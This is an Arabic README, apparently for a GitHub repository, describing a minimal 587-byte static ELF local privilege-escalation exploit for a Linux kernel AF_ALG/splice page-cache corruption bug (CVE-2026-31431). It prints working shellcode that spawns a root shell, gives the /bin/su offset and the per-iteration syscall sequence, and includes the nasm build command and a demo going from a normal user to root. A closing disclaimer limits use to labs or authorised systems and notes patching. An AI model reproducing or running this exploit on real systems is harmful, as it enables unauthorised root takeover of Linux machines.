
مينيمال استغلال ELF ثابت بحجم 587 بايت لثغرة CVE-2026-31431، يحقق تصعيد صلاحيات محلي عبر تلف ذاكرة التخزين المؤقت للصفحات في AF_ALG splice. لا تبعيات على libc أو بيئة التشغيل.
لم أكتشف هذا الثغرة. يعود الفضل إلى Xint Code / Theori.
هذا المستودع هو محاولتي لجعل الاستغلال صغيرًا قدر الإمكان - ملف ELF معماري x86_64 مكتوب يدويًا ينفذ تصعيد الامتيازات الكامل (LPE) في 587 بايت. بدون libc، بدون رابط (linker)، بدون بيئة تشغيل. فقط NASM وعناد.
باختصار، تمنحك النواة بدائية كتابة (write primitive) إلى ذاكرة التخزين المؤقت للصفحات (page cache) لأي ملف قابل للقراءة عبر AF_ALG + splice. وجّهها إلى نقطة دخول ملف ثنائي setuid، اكتب شيلكود، نفّذ الملف الثنائي، تحصل على صلاحيات الجذر.
للاطلاع على الحجم: المنشور الأصلي لـ Copy Fail شمل نسخة Python صغيرة بحجم 732 بايت. هذا رائع للغاية، لكنه لا يزال يعتمد على وجود بيئة Python. أصغر من ذلك هو https://kopy.fail بحجم 524 بايت. لكن هذا الملف هو ELF ثابت خام: بدون مترجم (interpreter)، بدون libc، بدون رابط، بدون محمّل ديناميكي. (أمي تقول إنه رائع)
| CVE | CVE-2026-31431 |
| فئة الثغرة | تلف ذاكرة التخزين المؤقت للصفحات عبر splice aliasing |
| السبب الجذري | af_alg_sendpage / splice في طلب AEAD يخلق أسماء مستعارة لصفحات ذاكرة التخزين المؤقت في مخرجات crypto scatter-gather |
| المكوّن | crypto/af_alg.c + crypto/algif_aead.c |
| التأثير | كتابة بايتات مُتحكم بها في ذاكرة التخزين المؤقت للصفحات لأي ملف قابل للقراءة |
| المتطلبات | مستخدم محلي، دعم AF_ALG/AEAD قابل للوصول، هدف setuid قابل للقراءة |
| الاستغلال | ملف ELF ثابت بحجم 587 بايت (x86_64)، ملف واحد، صفر تبعيات |
AF_ALG يتيح لمساحة المستخدم تنفيذ عمليات تشفير النواة عبر المقابس (sockets). بالنسبة لخوارزميات AEAD مثل
authencesn، تقبل النواة البيانات عبر sendmsg مع MSG_MORE، ثم يمكنك
splice المزيد من البيانات من واصف ملف.
الجزء الملعون: عندما تقوم بـ splice ملف، تقوم النواة بتثبيت صفحات ذاكرة التخزين المؤقت للملف مباشرة في قائمة crypto scatter-gather. عملية AEAD ثم تكتب مخرجاتها مرة أخرى إلى تلك الصفحات نفسها. النواة تعتقد أنها أعطت crypto مخزن قراءة. Crypto تعتقد أنها حصلت على مخزن كتابة. لا أحد ينسخ.
البايتات التي تُدخلها كبيانات وصفية AAD تظهر في النهاية عبر ذاكرة التخزين المؤقت للصفحات. أي قراءة لاحقة لهذا الملف - من أي عملية، أي مستخدم، بما في ذلك تنفيذ suid - ترى البيانات التالفة. الملف على القرص يبقى دون تغيير. فقط عرض ذاكرة التخزين المؤقت للصفحات في الذاكرة يتغير.
Copy Fail هي لعنة عائلة page-cache/COW تظهر بزي AF_ALG. نفس السلالة مثل Dirty COW (CVE-2016-5195) - "النواة سمحت لك بالكتابة إلى شيء كان يجب أن تكون قادرًا على قراءته فقط" - لكن عبر مسار crypto splice بدلاً من سباق madvise/write.
الهدف: /bin/su على Debian Bookworm (بما في ذلك kernelCTF rootfs). نقطة دخول ELF
تقع عند إزاحة الملف 0x3910.
28 بايت من الشيلكود تحوله إلى أداة إسقاط قشرة جذر:
; setuid(0) - 7 بايت
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 بايت
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
بدائية AEAD تمنحك فقط 4 بايتات لكل عملية - جزء واحد بحجم 32 بت من AAD يقع عند إزاحة splice. 28 بايت من الشيلكود ÷ 4 = 7 مرات عبر مكدس تشفير النواة. كل تكرار:
socket(AF_ALG) + bind مع authencesn(hmac(sha1),cbc(aes))setsockopt لتعيين المفتاح وحجم علامة المصادقةaccept للحصول على واصف الطلبsendmsg مع MSG_MORE - iov بحجم 8 بايت يحتوي على 4 بايتات من حشو AAD + 4 بايتات من الشيلكودsplice من /bin/su عبر أنبوب (pipe) إلى واصف الطلب (يضع صفحات ذاكرة التخزين المؤقت)recvfrom - يطلق معالجة AEAD، يتلف ذاكرة التخزين المؤقت للصفحاتبعد كل التكرارات السبعة، execve("/bin/su"). النواة تحمّله من
ذاكرة التخزين المؤقت للصفحات التالفة. التنفيذ يقفز إلى نقطة الدخول المستبدلة. قشرة
جذر.
587 بايت إجمالاً. 120 منها هي ترويسة ELF (النواة لن تحمّلك بدونها)، لذا منطق الاستغلال الفعلي هو 467 بايت من كود الآلة + البيانات.
إليك أين توجد الأشياء في ترويسة ELF:
الإزاحة الحقل الاستخدام الفعلي
------ ----- ----------
0x00 e_ident[0:8] السحر + فئة ELF (إلزامي)
0x08 e_ident[8:16] مادة مفتاح التشفير (النواة تتجاهل هذه البايتات)
0x28 e_shoff سلسلة "/bin/su\0" (النواة تتجاهلها لـ ET_EXEC)
النواة تنظر فقط إلى e_ident[0:7]، e_type، e_machine، e_entry،
e_phoff، e_phnum، و phdr نفسه. كل شيء آخر هو مساحة حرة.
حيل حجم أخرى:
push imm8 / pop rax / syscall (3 بايتات لكل منها)النسخة العاملة الأولى كانت 584 بايت. استخدمت mov ax, 275 لاستدعاء
splice الثاني (أقصر ببايتين من mov eax, 275). هذا يراهن على أن أول
splice ينجح دائمًا - إذا أعاد خطأ سالبًا، تبقى البتات الـ 48 العلوية من
rax مضبوطة، وmov ax, 275 يكتب فقط على الـ 16 السفلية. ثم رقم استدعاء النظام
لـ splice الثاني يصبح قمامة.
على نواة الاختبار الخاصة بي عمل دائمًا. لكن "يعمل دائمًا في الاختبار" سبب سيء لشحن ثغرة، وإذا واجه شخص ما هذا على نظام حيث يعيد splice EAGAIN تحت ضغط الذاكرة، فإن الاستغلال ينهار (segfault) دون أي إشارة إلى ما حدث خطأ. أضفت الـ 3 بايتات الإضافية.
أيضًا كان عليّ إضافة xor esi, esi قبل execve النهائي لأن recvfrom
يستبدل rsi بعنوان المخزن المؤقت. بدونها، يحصل execve على مؤشر argv قمامة.
بايت إضافي آخر.
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
يتطلب NASM. ينتج ملف الاستغلال الثنائي مباشرة - بدون خطوة ربط.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
يستغرق أقل من ثانية. لا مخرجات عند النجاح - فقط قشرة جذر.
يتطلب CONFIG_CRYPTO_USER_API_AEAD (مدمج أو وحدة محمّلة) و
مسار splice غير المُصلح في المكان في algif_aead. مسار الكود السيئ يعود إلى
تحسين عام 2017. تحقق من إعداد نواة توزيعتك وحالة التصحيح.
الإصلاح يلغي المسار في المكان وينسخ صفحات مصدر splice بدلاً من إنشاء أسماء مستعارة لها في قائمة crypto scatter-gather. عزل ذاكرة التخزين المؤقت للصفحات مستعاد.
هذا أثر KernelCTF/مخبري. شغّله على أنظمة تملكها أو لديك إذن صريح لاختبارها. إذا كنت تدافع عن أجهزة Linux، صحيح النواة أو قيّد تحميل وحدة AF_ALG/algif_aead.
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online